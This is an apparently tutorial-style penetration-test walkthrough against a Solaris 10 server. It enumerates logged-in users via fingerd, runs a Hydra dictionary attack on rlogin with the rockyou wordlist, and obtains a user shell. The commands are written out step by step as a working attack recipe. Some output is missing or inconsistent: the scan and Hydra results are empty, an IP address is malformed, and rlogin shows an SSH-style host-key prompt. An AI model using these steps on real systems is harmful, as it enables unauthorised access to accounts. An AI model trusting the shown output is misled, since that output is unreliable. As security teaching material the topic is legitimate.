Attacking fingerd and rlogin on Solaris 10

The rlogin service has known security issues and is better turned off to use better tools such as SSH to handle login procedures. What follows is a penetration test of a Solaris 10 server running fingerd and rlogin. To start off lets first scan the suspected host for any open ports.

Scanning the host

root@asus:~/pentest_notes% nmap -sV -O -p79,513 osiris.acme.com

Starting Nmap 7.01 ( https://nmap.org ) at 2018-12-26 23:05 MST

root@asus:~/pentest_notes%

Here we see we have two ports open, the fingerd process and the rlogin service on port 513. Our next step is to try and query the finger daemon to see if there are any connected users currently on the system.

Query the finger daemon

root@asus:~/pentest_notes% finger @osiris.acme.com
Login       Name               TTY         Idle    When    Where
root     Super-User            console        3 Wed 22:37  :0                  
stacey          ???            pts/3          1 Wed 22:39  192.168.0.100       
larry           ???            pts/4            Wed 22:21  192.168.0.132       
barrett         ???            pts/5            Wed 22:44  192.168.0.33       
slade           ???            pts/6            Wed 22:40  192.168.0.10
hayes           ???            pts/7            Wed 22:11  192.168.0.232
virginia        ???            pts/8            Wed 22:05  192.168.0.5
root@asus:~/pentest_notes%

This is the list of usernames we will use to try and guess a correct login/passwd combnation for. if we go further and query a specfic user we see that what is returned is the username and the remote host where the user is connecting from which gives us insight in to how their internal network is addressed. 

root@asus:~/pentest_notes% finger larry@osiris.acme.com
Login       Name               TTY         Idle    When    Where
larry           ???            pts/4            Wed 22:40  192.168.0.132       
root@asus:~/pentest_notes%

Now we can try and gain access to the remote host by a dictonary attack using our enumerated names, the rockyou wordlist and the Hydra tool.

Using Hydra to crack remote logins

root@asus:~/pentest_notes% hydra -L rlogin-users.txt -P rockyou.txt rlogin://osiris.acme.com
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

root@asus:~/pentest_notes%

Once we have found some successful login combinations, its now time to try and see if any of the logins work on the remote host. For this we will be using rlogin to verify out results.

Testing remote logins

root@asus:~/pentest_notes% rlogin osiris.acme.com -l virginia
The authenticity of host 'osiris.acme.com (192.168.0.130n)' can't be established.
RSA key fingerprint is SHA256:pqvyzr0herRl6SBTTwJdx5K4kfNjbTkoU4boVeE983I.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'osiris.acme.com' (RSA) to the list of known hosts.

$ id
uid=108(virginia) gid=1(other)
$ exit
Connection to osiris.acme.com closed.
root@asus:~/pentest_notes%
As you can see we found a succesful login and now have a local shell on the remote host we can work from to try and further gain higher privleges.
